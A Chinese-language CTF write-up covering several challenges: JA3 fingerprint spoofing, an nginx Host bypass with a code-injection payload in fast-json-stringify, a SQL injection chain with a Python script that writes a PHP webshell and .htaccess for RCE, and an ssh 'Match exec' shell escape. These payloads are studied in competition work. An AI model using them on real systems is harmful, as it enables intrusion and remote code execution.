這次拿到ㄌ第十四名,台灣第二

第一次有獎金了讚讚

Web

0fa

題目會確認你的 SSL 的 JA3 fingerprint 是否等於一個特定的值
JA3 是什麼東西可以參考這個 TLS JA3
如果等於的話,就把 flag 吐出來

網路上有別人寫好的工具可以用來偽造 CycleTLS

BALSN{Ez3z_Ja3__W4rmUp}

SaaS

題目的 nginx config 長這樣

server {
    listen 80 default_server;
    return 404;
}
server {
    server_name *.saas;
    if ($http_host != "easy++++++") { return 403 ;}
    location ~ {
      proxy_pass http://backend:3000;
    }
}

簡單來說就是要讓 Host 符合 *.saas
同時讓 $http_host 等同 easy++++++

由於 $http_host 只看 Host header
所以我們可以在 HTTP request 的第一行寫下 http://lol.saas
然後把 easy++++++ 放到 Host

POST http://lol.sass/register HTTP/1.1
Host: easy++++++
Content-Type: application/json

{}

後端則是會用用戶輸入的物件當成 schema
並把這個 schema 用 fastify/fast-json-stringify 來建立一個 function
透過閱讀原始碼可以找到很多 property 沒有好好 sanitize,所以可以透過他們來注入,使得最後建立出來的 function 會執行我們要的程式

我使用的是 required

const required = schema.required || []

for (const requiredProperty of required) {
    if (requiredWithDefault.indexOf(requiredProperty) !== -1) continue
    code += `if (obj['${requiredProperty}'] === undefined) throw new Error('"${requiredProperty}" is required!')\n`
  }

payload:

const schema = Object.assign({}, defaultSchema, {
required:["\"'])\nreturn process.mainModule.require('fs').readFileSync('/flag').toString()//a"]
})

BALSN{N0t_R3al1y_aN_u3s_Ca53}

ginowa

題目有分兩個服務,一個叫 frontend 跟 backend
frontend 就是發特定的 request 到 backend

function getData($id) {
    $res = json_decode(file_get_contents("http://".BACKEND_HOST."/api.php?id=".$id));
    return $res;
}

$id = isset($_GET['id']) ? $_GET['id'] : "1";
$data = getData($id);

而 backend 則是有超明顯的 SQLI

if(isset($_GET['id']))
    $id = $_GET['id'];
else
    $id = '1';
...

$stmt = $conn->prepare("SELECT 'ok' AS status, name, age, url FROM info WHERE id = '" . $id . "'");

而由於題目要求我們去 RCE,所以第一步就是要先確定能不能寫檔案,這樣才能寫 webshell

0' union select 'ok' as status,file_priv ,3,4 from mysql.user where '1'='1
-- Y

結果是可以,於是就能用 INTO OUTFILE 來寫東西上去
同時後端會每幾秒就清理一次 document root

0' union select 'echo(123)','' ,'','' INTO OUTFILE 'lol.php

一開始我以為不能寫 .htaccess 上去,因為寫上去後再讀東西會噴 Internal Server Error
後來我才發現是自己耍蠢,因為我 select 的東西在 payload 前面加了垃圾,導致他沒辦法解析 .htaccess,所以才會噴錯==

反正最後就是把 webshell 寫到 tmp
然後把 .htaccess 寫上去就能 RCE 了

import requests
from urllib.parse import quote

def read(file,show=True):
    r_payload = f"0' union select 'ok' as status,LOAD_FILE('{file}') ,3,4 from info where '1'='1"
    r = requests.get(f'http://ginowa-1.balsnctf.com/index.php?id={quote(quote(r_payload))}')
    try:
        result = r.content.decode('utf-8').split('<div class="tname text-xl float-left p-4">')[1].split('<span class="font-light">')[0]
    except:
        result = r.content.decode('utf-8')
    
    if show:
        print(result)
    return result


def write(file,content):
    w_payload = f"0' union select '{content}','' ,'','' INTO OUTFILE '{file}"
    requests.get(f'http://ginowa-1.balsnctf.com/index.php?id={quote(quote(w_payload))}')
    result = read(file,False)
    if content in result:
        print("Write Success!")
    else:
        print("Write Failed!")
        

shell_name = 'kirito41.php'
shell_file = f"C:/xampp/tmp/{shell_name}"
shell_content = "<?php $out=shell_exec(\"cd C:\\\\ && C:\\\\readflag_9a82cf0e37dd1b.exe 2>&1\");echo $out;?>"

#readflag_9a82cf0e37dd1b.exe
#dir ..\\\\..\\\\

write(shell_file,shell_content)

htaccess_file = "C:/xampp/htdocs/.htaccess"
htaccess_content = f'php_value auto_append_file {shell_file}'
write(htaccess_file,htaccess_content)

r = requests.get('http://ginowa-1.balsnctf.com/info.php?action=backend2')
open('log.html','w').write(r.content.decode('utf-8'))

BALSN{jU5t_4_5m4ll_mY59L_tR1Ck}

Misc

kShell

這題讓我想到之前 HITCON 的 oShell,不過那時候我還菜到連 htop 是什麼都不知道

總之他給的 shell 是用 BusyBox
同時給的指令只有下列這幾個

  • id
  • pwd
  • arp
  • netstat
  • ssh
  • ping
  • traceroute

基本上透過測試跟讀 manual,發現除了 ssh 其他都沒什麼用
SSH 提供了非常多的功能 SSH manual
後來我找到了一個選項 -F 可以用來讀取 config,同時他會把錯誤的 option 噴出來
但是他噴出來的只會是該檔案的一部分

於是我就花很長的時間去讀各種檔案跟看 manual
結果當然是什麼有價值的東西都沒找到

最後我試試看讀 fd 會找到什麼東西,結果我在讀 /proc/self/fd/1 的時候發現我打東西進去他會噴錯誤訊息
意思就是他將 stdout 當成 config 去處理

$ ssh localhost -F /proc/self/fd/1
123
/proc/self/fd/1: line 1: Bad configuration option: 123

這樣子的話我們就能使用 Match exec 去 RCE

$ ssh localhost -F /proc/self/fd/1 
Match exec "/readflag>&2"

BALSN{h0w_d1d_u_g3t_RCE_on_my_kSSHell??}